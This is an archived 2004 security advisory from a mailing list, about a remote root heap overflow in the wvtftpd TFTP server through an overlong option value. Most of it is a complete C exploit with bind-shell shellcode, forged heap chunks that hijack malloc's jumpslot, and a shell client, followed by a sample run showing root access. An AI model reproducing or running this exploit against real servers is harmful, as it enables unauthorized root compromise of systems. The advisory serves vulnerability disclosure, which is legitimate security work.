The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


[UNIX] WvTftpd Option Name Value Pairs Remote Root Heap Overflow (PoC Included)


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: 1 Nov 2004 18:13:40 +0200
From: SecuriTeam <[email protected]>
To: [email protected]
Subject: [UNIX] WvTftpd Option Name Value Pairs Remote Root Heap Overflow (PoC Included)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  WvTftpd Option Name Value Pairs Remote Root Heap Overflow (PoC Included)
------------------------------------------------------------------------


SUMMARY

" <http://open.nit.ca/wiki/index.php?page=WvTftp>; WVTFTPD ... the world's 
fastest TFTP server."

Affected versions of wvtftpd suffer from a remote root heap overflow that 
can easily be used by an attacker to gain root privileges on the server 
machine.

DETAILS

Vulnerable Systems:
 * wvtftpd version 0.9 and prior

Immune Systems:
 * wvtftpd version 0.9.1

The overflow occurs in the file wvtftpserver.cc around line 535, function 
WvTFTPServer::new_connection(). A TFTPD packet has option name value 
pairs. They are given as a NULL terminated option name followed by an 
ASCII representation of the number value. The standard function atoi() is 
used to convert the number and as long as the value of the string is above 
8 and below 65464, the string is copied into a heap buffer.

Since atoi() stops when it encounters a non ASCII number character and 
returns NO error, the code assumes that as long as the number is ok, the 
string is that provided length. By supplying a long string for the value 
parameter an attacker would be able to overflow the buffer and control 
heap structures.

Vendor Status:
The developers of wvtftpd (which is a component of NetIntegrator) have 
already fixed the above mentioned vulnerability. Upgrade to a newer 
version of wvtftpd.

Proof Of Concept
/*
 * wvtftp option name heap overflow remote root exploit
 *
 * infamous42md AT hotpop DOT com
 *
 * exploitation is not exactly straight forward.  When we overflow our 
buffer,
 * we overwrite a pointer that is freed before we get to trigger our 
overwrite.
 * so we have to restore the state of this pointer to some sane value so 
it can
 * be freed.  after we do this, we trigger the overwrite, and hijack the
 * jumpslot for malloc().  then to trigger malloc(), we send a bogus 
request,
 * and then connect to our shell.  all of the offsets should be fixed for 
32 bit
 * platforms, all you need to pass is the base address of the heap buffer 
we're
 * overflowing.  'ltrace wvtftpd -dd 2>&1 | grep malloc | grep 616', and 
of
 * course the jumpslot for malloc(), 'objdump -R wvtftpd | grep malloc'.
 *
 */

#if 0
Usage: ./a.out
        [ -h host ] [ -r object_heap_base ] [ -l retloc ]
        [ -f remote file ] < -p port > < -a align >
[[email protected]] ./a.out -h localho -r 0x8063cd0 -l 0x0805e540

connected to localho(127.0.0.1)

exploit sent, total data len 597

triggering overwritten jumpslot


connected to localho(127.0.0.1)

got a shell

id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)

 - Connection closed by user
#endif

#include <stdio.h>
#include <sys/types.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdlib.h>

#define REMOTE_FILE "foo"
#define FTP_PORT 69
#define NOP 0x90
#define BS 0x1000
#define SHELL_PORT 7000
#define ALIGN 0
#define die(x) do{ perror(x); exit(1); }while(0)

/*  a dlmalloc chunk descriptor */
#define CHUNKSZ sizeof(mchunk_t)
typedef struct _mchunk {
    size_t  prevsz;
    size_t  sz;
    long    fd;
    long    bk;
} mchunk_t;

/* program arguments */
typedef struct _args {
    char    *host,
            *remote_file;
    u_long    object_heap_base,
            retloc;
    u_short port,
            align;
} args;


/* call them shell code */
#define SHELL_LEN (sizeof(remote)-1)
char remote[] =
"\xeb\x0a""1234567890"  /* jump */
"\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
"\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
"\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
"\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
"\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
"\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
"\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80\xa1\x5f\x66\x6e\x69";


void usage(char *progname)
{
    fprintf(stderr, "Usage: %s\n"
                "\t[ -h host ] [ -r object_heap_base ] [ -l retloc ]\n"
                "\t[ -f remote file ] < -p port > < -a align >\n",
                    progname);
    exit(EXIT_FAILURE);
}


void parse_args(int argc, char **argv, args *argp)
{
    int c = 0;

    while((c = getopt(argc, argv, "h:p:r:a:l:")) != -1) {
            switch (c) {
                case 'a':
                argp->align = atoi(optarg);
                    break;
                case 'p':
                argp->port = atoi(optarg);
                    break;
                case 'r':
                argp->object_heap_base = strtoul(optarg, NULL, 16);
                    break;
                case 'l':
                argp->retloc = strtoul(optarg, NULL, 16);
                    break;
                case 'h':
                argp->host = optarg;
                    break;
                case 'f':
                argp->remote_file = optarg;
                    break;
                case ':':
                case '?':
                default:
                usage(argv[0]);
            }
    }

    if(optind != argc || argp->align > CHUNKSZ-1 || argp->object_heap_base 
== 0
||
        argp->host == NULL || argp->port == 0 || argp->retloc == 0 ||
        argp->remote_file == NULL)
        usage(argv[0]);
}

int conn(char *host, u_short port, int proto)
{
    int sock = 0;
    struct hostent *hp;
    struct sockaddr_in sa;

    memset(&sa, 0, sizeof(sa));

    hp = gethostbyname(host);
    if (hp == NULL) {
            herror("gethostbyname");
        exit(EXIT_FAILURE);
    }
    sa.sin_family = AF_INET;
    sa.sin_port = htons(port);
    sa.sin_addr = **((struct in_addr **) hp->h_addr_list);

    sock = socket(AF_INET, proto, 0);
    if (sock < 0)
            die("socket");

    /* with UDP this means we can write() instead of sendto() */
    if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0)
            die("connect");

    printf("\nconnected to %s(%s)\n\n", host, inet_ntoa(sa.sin_addr));
    return sock;
}

/*
 * ftp packet bytes look like:
 *
 * 0-1 code - [0]*256 + [1] : 1 for read, 2 for write
 * 2 NULL termed file name, must exist and be readable
 * X NULL termed mode [ netascii octet mail ]
 * Y NULL termed option name
 * Z NULL termed option value   : overflow with this string
 * and a bad option to get our pointer freed
 */
void sploit(args *argp, int sock)
{
    int len = 0, align = argp->align, x = 0, begin_packet_data;
    long    retloc = argp->retloc, object_heap_base = 
argp->object_heap_base;
    char buf[BS], *remote_file = argp->remote_file;
    mchunk_t    chunk;

    memset(buf, 0, BS);
    memset(&chunk, 0, CHUNKSZ);

    /* set opcode for reading */
    buf[1] = 1;
    len = 2;

    /* the file to read,  and the mode */
    len += sprintf(buf + len, "%s",  remote_file) + 1;
    len += sprintf(buf + len, "%s", "octet") + 1;

    /* all that follows gets copied via strcpy() */
    begin_packet_data = len;

    /* the option */
    len += sprintf(buf+len, "%s", "blksize") + 1; /* 8 */

    /* the overflow , but first a valid blocksize to past test */
    len += sprintf(buf+len, "%s", "512");   /* 3 */

    /*
     *  from here buffer looks like:
     *  [ align - shell - chunks - pkttimes - chunks ]
     */
#define OFFSET_TO_OUR_BUF_FROM_BASE 56
    /* setup the chunk */
    chunk.prevsz = 0xfffffffc;
    chunk.sz = 0xfffffffc;
    chunk.fd = retloc - 12;
    chunk.bk = object_heap_base + OFFSET_TO_OUR_BUF_FROM_BASE + align + 
11/* 8 +
3 */;

    memset(buf+len, 'A', align);
    len += align;
    memcpy(buf+len, remote, SHELL_LEN);
    len += SHELL_LEN;
  
#define CHUNK_BYTES 416
    for(x = 0; x < CHUNK_BYTES - (CHUNKSZ - 1); x+= CHUNKSZ)
        memcpy(buf+len+x, &chunk, CHUNKSZ);
    len += x;
    buf[len++] = 0;

    /* trigger the free with a bad option (no value) */
    len += sprintf(buf+len, "%s", "blksize") + 1;

    /*
     * the buffer we overflow is part of a larger structure that is 
embedded in
     * a class object located on the heap.  the base address of this 
object is
     * what 'object_heap_base' refers to.  the structure is 'struct 
TFTPConn',
     * member of the 'class WvTFTPBase'.  we need to repair a pointer in 
the
     * data that we overwrite.  the pkttimes member of the structure is a
     * pointer to an object of type 'class PktTime' that gets deleted.  in 
this
     * destructor for the object that gets deleted, a member pointer 
offset 12
     * bytes in, is a pointer that gets freed via delete.  This freed 
pointer
     * needs to  be set up by us.  You could create a fake chunk and use 
that,
     * but it is simpler to just make that pointer be NULL as free(0) does
     * nothing.  there are several spots where we have a guaranteed NULL 
word
     * inside of the 'struct TFTPConn' class object. so the idea is to 
point
     * pkttimes 12 bytes below that NULL, so that when it goes to free the
     * pointer, it will use the NULL word.
     */
    
    /*
     * our buffer is 512 bytes, and we start copying at 2 bytes in.  the
     * distance to pkttimes pointer is 526 bytes, rounded up to 4 byte 
boundary
     */
#define OFFSET_TO_PKTTIMES_IN_BUFFER 528
    /*
     * we point pkttimes at an area that contains guaranteed NULL word, 
which is
     * the 'lastsent' member of the TFTPConn structure. it is the number 
of
     * blocks which have been sent over teh connection so far.  it will 
always
     * be 0 since no blocks have been sent to us yet.  if we know the base 
of
     * the object we know where 'lastsent' is located.
     */
#define OFFSET_TO_NULL_POINTERS_FROM_BASE_MINUS_12 40
    *(uint32_t *)(buf + begin_packet_data + OFFSET_TO_PKTTIMES_IN_BUFFER) 
=
                object_heap_base + 
OFFSET_TO_NULL_POINTERS_FROM_BASE_MINUS_12;
        
    write(sock, buf, len);
    printf("exploit sent, total data len %d\n\n", len);
}

void shell(char *host, u_short port)
{
    int sock = 0, l = 0;
    char buf[BS];
    fd_set rfds;

    sock = conn(host, port, SOCK_STREAM);

    printf("got a shell\n\n");
    FD_ZERO(&rfds);

    while(1){
            FD_SET(STDIN_FILENO, &rfds);
            FD_SET(sock, &rfds);

        if(select(sock + 1, &rfds, NULL, NULL, NULL) < 1)
            die("select");

            if(FD_ISSET(STDIN_FILENO, &rfds)) {
                if((l = read(0, buf, BS)) <= 0)
                        die("\n - Connection closed by user\n");
                if(write(sock, buf, l) < 1)
                        die("write");
            }

            if(FD_ISSET(sock, &rfds)) {
                l = read(sock, buf, sizeof(buf));

                if (l == 0)
                        die("\n - Connection terminated.\n");
                else if(l < 0)
                        die("\n - Read failure\n");

                if(write(1, buf, l) < 1)
                        die("write");
            }
    }
}

/*
 * call the function whose jumpslot we overwrote, malloc()
 */
void trigger_retloc(int sock)
{
    char    buf[BS];
    
    write(sock, buf, 200);
}

/*
 */
int main(int argc, char **argv)
{
    int sock = 0;
    args    argy;

    memset(&argy, 0, sizeof(argy));
    argy.align = ALIGN;
    argy.port = FTP_PORT;
    argy.remote_file = REMOTE_FILE;

    parse_args(argc, argv, &argy);
    
    sock = conn(argy.host, argy.port, SOCK_DGRAM);
 
    sploit(&argy, sock);
    
    sleep(2);
    printf("triggering overwritten jumpslot\n\n");
    trigger_retloc(sock);
    sleep(1);
    close(sock);

    shell(argy.host, SHELL_PORT);

    return EXIT_SUCCESS;
}


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> 
sean.




This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] In order to subscribe to the mailing list, simply forward this email to: [email protected]

DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2025 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру